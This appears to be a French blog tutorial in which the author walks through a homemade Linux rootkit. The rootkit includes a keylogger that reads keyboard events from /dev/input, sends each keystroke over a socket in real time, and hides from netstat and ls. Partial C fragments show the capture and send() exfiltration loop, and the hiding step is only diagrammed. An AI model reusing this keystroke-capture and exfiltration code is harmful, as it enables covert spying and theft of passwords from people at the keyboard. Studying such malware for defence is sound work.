{%hackmd @sophie8909/pink_theme %} Ce mini rootkit implémente un keylogger envoyant en temps réel toutes les input user tout en cachant sa connexion de `netstat` et sap présence de `ls` ![](https://hackmd.io/_uploads/HJrAGxsuh.png =100x) # input_event Ce keylogger se base sur la struct `input_event` de la lib `input.h` ```c struct input_event { struct timeval time; __u16 type; __u16 code; __s32 value; }; ``` Ce qui nous intéresse particulièrement dans cette struct est la partie contenant la variable `code`. Son type de donnée `__u16` fait référence à un unsigned int occupant 16 bits en mémoire. Souvent lorsque l'on se trouve proche du hardware il est nécessaire de contrôler précisement la taille des ints. ```c #define KEY_EQUAL 13 #define KEY_BACKSPACE 14 #define KEY_TAB 15 #define KEY_Q 16 #define KEY_W 17 #define KEY_E 18 #define KEY_R 19 #define KEY_T 20 #define KEY_Y 21 #define KEY_U 22 #define KEY_I 23 #define KEY_O 24 #define KEY_P 25 ``` Voici une partie du contenu de la var `code`. Nous y retrouvons tous les `event code`, ils correspondent aux événements systèmes tels que les mouvement de la souris, les événements de clavier, etc.. Le `/proc/bus/input/devices` contient des informations détaillées sur chaque périphérique d'entrée detecté par le système. ``` I: Bus=0011 Vendor=0001 Product=0001 Version=ab83 N: Name="AT Translated Set 2 keyboard" P: Phys=isa0060/serio0/input0 S: Sysfs=/devices/platform/i8042/serio0/input/input3 U: Uniq= H: Handlers=sysrq kbd leds event3 B: PROP=0 B: EV=120013 B: KEY=402000000 3803078f800d001 feffffdfffefffff fffffffffffffffe B: MSC=10 B: LED=7 ``` Voici un exemple de son contenu. Cette partie concerne mon clavier, on y voit la mention `keyboard` dans la partie `Name`. Ce qui nous intéresse particulièrement est le path contenu dans `Sysfs` (File System in User Space) `Sysfs` un système de fichiers virtuel fournissant une interface pour accéder aux informations et aux paramètres du noyau du système et aux périphériques matériels, en voici un schéma: [![](https://mermaid.ink/img/pako:eNqV001PwzAMBuC_EplrJ8bgVCQOG1RD1S4r0yQWDlbjbtHSpEpSjWnafyf9YAgudLfYeezT6xPkRhDEsLVY7djblGvGVhsOK0eWwwcbjRiH7OhyVIpDKJ9Ytmk7hQv_Dc86tCQUt2srPfUuaWAiFQXsqex10vNX7cli7ns8Xwc8RysOaOn34j8yDTAlq0n1LO3YAjVuiS3Jmdrm5C6LG-P8UVFYWEil4pskmY1n08h5a_Y0Okjhd_Gk-nz8kavBMhm-dL4eTNMBUkm9z1o9Zh0Y6u-u9JMr_f2V_uFfDxGUZEuUImT11Exz8DsqQ1Ti8BRUYK1CQrg-B4q1N9lR5xB7W1MEdSXQ07PEkPIS4gKVu3RfhPTGXprUlovuKNrbiKBC_W7M9-D5C7xZDCw?type=png)](https://mermaid.live/edit#pako:eNqV001PwzAMBuC_EplrJ8bgVCQOG1RD1S4r0yQWDlbjbtHSpEpSjWnafyf9YAgudLfYeezT6xPkRhDEsLVY7djblGvGVhsOK0eWwwcbjRiH7OhyVIpDKJ9Ytmk7hQv_Dc86tCQUt2srPfUuaWAiFQXsqex10vNX7cli7ns8Xwc8RysOaOn34j8yDTAlq0n1LO3YAjVuiS3Jmdrm5C6LG-P8UVFYWEil4pskmY1n08h5a_Y0Okjhd_Gk-nz8kavBMhm-dL4eTNMBUkm9z1o9Zh0Y6u-u9JMr_f2V_uFfDxGUZEuUImT11Exz8DsqQ1Ti8BRUYK1CQrg-B4q1N9lR5xB7W1MEdSXQ07PEkPIS4gKVu3RfhPTGXprUlovuKNrbiKBC_W7M9-D5C7xZDCw) Il représente le flux d'interaction entre l'utilisateur, `sysfs`, le kernel et le matériel hardware. Lorsqu'une touche est enfoncée sur le clavier physique, des signaux au kernel sont envoyés. Le kernel peut ensuite mettre à jour les fichiers correspondants dans `sysfs` pour refléter les touches enfoncées, de sorte que les utilisateurs ou les applications puissent lire ces informations à partir des fichiers appropriés dans `sysfs`. Les évenements contenu dans `/dev/input/eventx` représentent des périphériques d'entrée auquels les programmes peuvent accéder pour lire les événements générés par les périphériques d'entrée. Nous récupérons le numéro correspondant à notre périphérique en regardant dans `/proc/bus/input/devices` lequel est indexé dans le path `Sysfs` (dans mon exemple, l'input3). Nous pouvons donc récupérer les événements en temps réel, et nous pouvons les "traduire" en utilisant la struct `input_event`. Nous possédons tout le nécessaire pour créer notre rootkit ;) # if () Toutes les instructions suivantes se trouvent dans un while true car nous ne voulons pas qu'elles s'arrêtent: nous voulons capturer les inputs keyboard en temps réel et jusqu'à ce que nous décidions son arrêt. # ```c if (events.type == EV_KEY && events.value == 0) ``` Cette condition vérifie si la variable `type` contenu dans la struct `input_event` correspond à l'event `EV_KEY` (événement clavier) et si sa valeur est égale à zéro. (Lorsqu'une touche est relâchée, la valeur associée à l'événement est définie à 0) ```c if (events.code >= 0 && events.code <= MAX_KEYCODE) ``` Cette condition vérifie que la variable `code` dans la struct `input_event` est supérieur à 0, et inférieur à `MAX_KEYCODE`, qui est 255 car dans la lib `input-event-codes.h`, nous remarquons qu'à un moment la range maximale pour les `codes` est de 255 ``` #define KEY_BRIGHTNESS_ZERO 244 /* brightness off, use ambient */ #define KEY_DISPLAY_OFF 245 /* display device to off state */ #define KEY_WIMAX 246 /* Range 248 - 255 is reserved for special needs of AT keyboard driver */ ``` # send(), sockfd() & to_send ```c char* to_send = malloc(MALLOC_MAX_SIZE); to_send[0] = character; to_send[1] = '\0'; if (events.code == 28) { send(sockfd, "\n", strlen("\n"), 0); } else if (events.code == 57) { send(sockfd, " ", strlen(" "),0); } else { send(sockfd, to_send, MALLOC_MAX_SIZE, 0); } ``` Les données récupérées sont envoyées via une connexion avec `sockfd()` en fonction de la valeur de `events.code` et du caractère correspondant récupéré dans `character` (`character = map[events.code];`, cf `map`). Afin de permettre aux logs d'être lissible, les valeurs pour `28` et `57` sont ajoutées manuellement à cet endroit et non dans la `map`. Si `events.code` correspond à un autre char que `\n` ou " ", `to_send` contenant `character` est envoyé via la fonction `send()`. L'assignement de `\0` à `to_send[1`] garantit que `to_send` est une chaîne de caractères valide. *Pour une explication complète sur l'envoi via socket, j'ai réalisé un post précedemment: https://github.com/pwnwithlove/C_revshell* # free() & close() ```c free(to_send); to_send = NULL; ``` ```c close(sockfd); close(file_descriptor) ``` On libère la mémoire allouée et on ferme les connexions et les file descriptor, c'est une bonne habitude à prendre lorsqu'on utilise ces fonctions. # hooking [![](https://mermaid.ink/img/pako:eNqVkl9LwzAUxb9KuL62MPcYQeifFR8mE-eTRiQ26RqWJiFN0TH23b1t3eoQFV9C7u-ccxO4dw-lFRIobDx3NXlImSEkeWKQOKdVyYOyhsEziWPCIONat6ToTDlipNckRfPKq40yXE-aqbxtiFavJab7nhnalvnL3f1iuUryT5gjvLF2K8WXroOS_PJiNpx5b2vDTksEldKaXhRFNsvSiSdnnExC-kMg_8a1Mtv1oM3Q4_GrRzUay_hNiVDTuXu_Ovdf_tM__9MPETTSN1wJnNe-TzMItWwkA4pXISve6cCAmQNaeRfsemdKoMF3MoLOCR5krjhOugFacd2e6EKoYP0JyqG8HRdj2I8IHDeP1h6Dhw8JX7jP?type=png)](https://mermaid.live/edit#pako:eNqVkl9LwzAUxb9KuL62MPcYQeifFR8mE-eTRiQ26RqWJiFN0TH23b1t3eoQFV9C7u-ccxO4dw-lFRIobDx3NXlImSEkeWKQOKdVyYOyhsEziWPCIONat6ToTDlipNckRfPKq40yXE-aqbxtiFavJab7nhnalvnL3f1iuUryT5gjvLF2K8WXroOS_PJiNpx5b2vDTksEldKaXhRFNsvSiSdnnExC-kMg_8a1Mtv1oM3Q4_GrRzUay_hNiVDTuXu_Ovdf_tM__9MPETTSN1wJnNe-TzMItWwkA4pXISve6cCAmQNaeRfsemdKoMF3MoLOCR5krjhOugFacd2e6EKoYP0JyqG8HRdj2I8IHDeP1h6Dhw8JX7jP) [![](https://mermaid.ink/img/pako:eNqVkU1LxDAQhv9KiNcW1z1GELZdF0S8uIJg62FspjZsvkimaln2v5t-uOBJzCnP-74zAzNH3jiJXPD3AL5jT0VtWXqbauO9Vg2QcvZ11ooqDrGNC5XVPQaLesFtwuHNQZBJWHqwPGePl89MAgH7UJD4hi0DitEsnTG9HadgnMxy6T2ad5YwQEOzsx0drexhT4NGtmKRgjuguNjtylVZZDPmn0pSJ9b-6_p3_uqf-fWfeZ5xg8GAkml5x7G65tShwZqL9JXYQq-p5rU9pSj05PaDbbig0GPGe5-WglsFae2GixZ0PKu3UpELZxEnfJivNB0r4x7si3M_hadvF-OS2A?type=png)](https://mermaid.live/edit#pako:eNqVkU1LxDAQhv9KiNcW1z1GELZdF0S8uIJg62FspjZsvkimaln2v5t-uOBJzCnP-74zAzNH3jiJXPD3AL5jT0VtWXqbauO9Vg2QcvZ11ooqDrGNC5XVPQaLesFtwuHNQZBJWHqwPGePl89MAgH7UJD4hi0DitEsnTG9HadgnMxy6T2ad5YwQEOzsx0drexhT4NGtmKRgjuguNjtylVZZDPmn0pSJ9b-6_p3_uqf-fWfeZ5xg8GAkml5x7G65tShwZqL9JXYQq-p5rU9pSj05PaDbbig0GPGe5-WglsFae2GixZ0PKu3UpELZxEnfJivNB0r4x7si3M_hadvF-OS2A) # Sources https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/input-event-codes.h https://sites.uclouvain.be/SystInfo/usr/include/linux/input.h.html